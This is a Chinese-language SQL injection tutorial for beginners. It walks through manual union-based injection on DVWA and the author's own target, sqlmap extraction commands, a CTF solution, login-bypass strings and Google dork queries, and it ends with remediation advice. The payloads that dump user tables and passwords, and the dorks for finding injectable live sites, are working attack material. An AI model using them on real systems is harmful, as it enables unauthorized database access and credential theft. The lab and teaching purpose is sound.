入门篇
一、课程目标
听完这节课你能学到些什么👇
- 知道什么是Sql注入
- 实现最基础的Sql注入
- 学会使用SqlMap工具
- 了解一些Web安全基本知识
二、初识SQL注入
1 什么是SQL
SQL(Structured Query Language) 是用于访问和处理数据库的标准的计算机语言,SQL与数据库程序协同工作,比如 SQL Server、MySQL、Oracle、SQLite、MongoDB、PostgreSQL、MS Access、DB2以及其他数据库系统。
2020年5月
SQL执行流程
2 什么是SQL注入
SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而得到相应的数据信息。
通俗来说:OWASP Top10之一,SQL注入是通过将恶意的SQL语句插入到Web应用的输入参数中,欺骗服务器执行恶意的SQL命令的攻击。
SQL注入流程
3 SQL注入分类
根据SQL数据类型分类
- 整型注入
- 字符型注入
根据注入的语法分类
- 联合查询注入(Union query SQL injection)
- 报错型注入(Error-based SQL injection)
- 布尔型注入(Boolean-based blind SQL injection)
- 延时注入(Time-based blind SQL injection)
- 多语句查询注入 (Stacted queries SQL injection)
三、初试SQL注入
1 手工注入常规思路
1.判断是否存在注入,注入是字符型还是数字型
2.猜解 SQL 查询语句中的字段数
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.显示字段信息
手工注入流程
2 实现完整手工注入
靶机:DVWA
将DVWA的级别设置为low,可以看到源码中是一句简单的查询语句,没有进行任何过过滤
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';
因此我们完全可以插入自己想要执行的sql语句,那么我们开始吧!
输入我们输入1,那么执行的语句就是
SELECT first_name, last_name FROM users WHERE user_id = '1'
1.判断注入是字符型还是数字型
字符型和数字型最大区别: 数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的
数字型:select * from table where id =$id
字符型:select * from table where id=’$id’
判断数字型
1 and 1=1 #永真式 select * from table where id=1 and 1=1 1 and 1=2 #永假式 select * from table where id=1 and 1=2 #if页面运行错误,则说明此Sql注入为数字型注入。
判断字符型
1' and '1'='1 1' and '1'='2 #if页面运行错误,则说明此 Sql 注入为字符型注入。
执行上面两种方式一种就可得出结论,显示这个是字符型注入
2.猜解SQL查询语句中的字段数
1' or 1=1 order by 1 # 查询成功 【order by x 对第几列进行排序】1' order by 1 # id=‘1‘ #’ 注释 1' or 1=1 order by 2 # 查询成功 1' or 1=1 order by 3 # 查询失败
说明执行的SQL查询语句中只有两个字段,即这里的First name、Surname。
3.确定显示的字段顺序
1' union select 1,2 #
说明执行的SQL语句为select First name,Surname from xx where ID=’id’
理解select 1,2:例如一个网站的参数传递执行的查询有3个字段,很可能这些字段不是都显示在网页前端的,假如其中的1或2个字段的查询结果是会返回到前端的,那么我们就需要知道这3个字段中哪两个结果会回显,这个过程相当于找到数据库与前端显示的通道。如果我们直接输入查询字段进行查询,语句会非常冗长,而且很可能还需要做很多次测试,这时候我们利用一个简单的select 1,2,3,根据显示在页面上的数字就可以知道哪个数字是这个“通道”,那么我们只需要把这个数字改成我们想查询的内容(如id,password),当数据爆破成功后,就会在窗口显示我们想要的结果。SELECT 1,2,3…的含义及其在SQL注入中的用法
4.获取当前数据库
上步知道字段显示顺序,那我们在字段2的位置上显示数据库试试
1' union select 1,database() #
说明当前的数据库为dvwa。
5.获取数据库中的表
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # 1' union select 1,table_name from information_schema.tables where table_schema='dvwa' #
information_schema.tables存储了数据表的元数据信息,下面对常用的字段进行介绍:
- table_schema: 记录数据库名;
- table_name: 记录数据表名;
- engine : 存储引擎;
- table_rows: 关于表的粗略行估计;
- data_length : 记录表的大小(单位字节);
- index_length : 记录表的索引的大小;
- row_format: 可以查看数据表是否压缩过;
说明数据库dvwa中一共有两个表,guestbook与users。
6.获取表中的字段名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
说明users表中有8个字段,分别是user_id,first_name,last_name,user,password,avatar,last_login,failed_login
7.获取字段信息
1' union select group_concat(user_id,first_name),group_concat(password) from users # 1' union select group_concat(concat_ws(':',first_name,password)),2 from users # 1' union select first_name,password from users #
这样就得到了users表中所有用户的user_id,first_name,last_name,password的数据。
3 实战演练一哈
就以我自己搭建的靶机为例子🌰
在主页搜索框发现注入点,话不多说开始注入
#判断注入类型 #【数字型】 1 and 1=1 1 and 1=2 #查询数据库 #【test】 -1 union select 1,2,database() #获取数据库中的表 #【admin、news】 -1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='test' #获取表中的字段名 #【 user_id、user_name、user_pass】 -1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='admin' #获取字段信息 【admin:mysql】 -1 union select 1,group_concat(user_name),group_concat(user_pass) from admin -1 union select 1,user_name,user_pass from admin
我们又快速的实现了一次手工注入,但是你有没和我一样的感觉,太麻烦了,有更方便的方法吗,emm…
当然有啦,使用SqlMap工具可以快速实现注入👇
四、使用SqlMap注入
具体使用方法请问我之前写的文章👉sqlmap使用方法
SqlMap初体验
接着使用上面靶机进行测试
#查询数据库 #【test】 python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 --dbs #获取数据库中的表 #【admin、news】 python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 -D test --tables #获取表中的字段名 #【 user_id、user_name、user_pass】 python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 -D test -T admin --columns #获取字段信息 【admin:mysql】 python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 -D test -T admin -C user_name,user_pass --dump
一道CTF题目
题目:简单的sql注入2
地址:http://139.224.112.182:8087/ctf_collect
解析:https://www.jianshu.com/p/1aeedef99f21
1.查询当前数据库(空格被过滤可以使用tamper脚本中space2comment)
python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --dbs
发现web1数据库
2.查询数据库中的表
python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment -D web1 --tables
发现flag表
3.查询flag表中字段名
python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --columns -T flag -D web1
发现flag字段
4.查询字段flag信息
python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --dump -C flag -T flag -D web1
五、发现注入点
1 使用漏洞扫描工具
工具:OWASP ZAP、D盾、Seay
万能密码:
1' or 1=1 # 用户名和密码都可 ' or '1'='1' -- 1' or '1'='1 密码才可
2 通过Google Hacking 寻找SQL注入
看到这里我们已经完成了一次最基础的GET字符型Sql注入,有人可能会问了,这是自己搭建的靶机,知道是存在sql注入,真实环境中如何去发现Sql注入呢
inurl:php?id= inurl:.asp?id= inurl:index.php?id= inurl:showproduct.asp?id= site:http://139.224.112.182:8802/ inurl:php?id site:https://jwt1399.top inurl:.html ......
服务器报错,并把错误信息返回到网页上面。根据错误信息,判断这里大概率存在注入点。
六、 修复建议
- 过滤用户输入的数据。默认情况下,应当认为用户的所有输入都是不安全的。
- 对于整数,判断变量是否符合[0-9]的值;其他限定值,也可以进行合法性校验;
- 对于字符串,对SQL语句特殊字符进行转义(单引号转成两个单引号,双引号转成两个双引号)。
- 绑定变量,使用预编译语句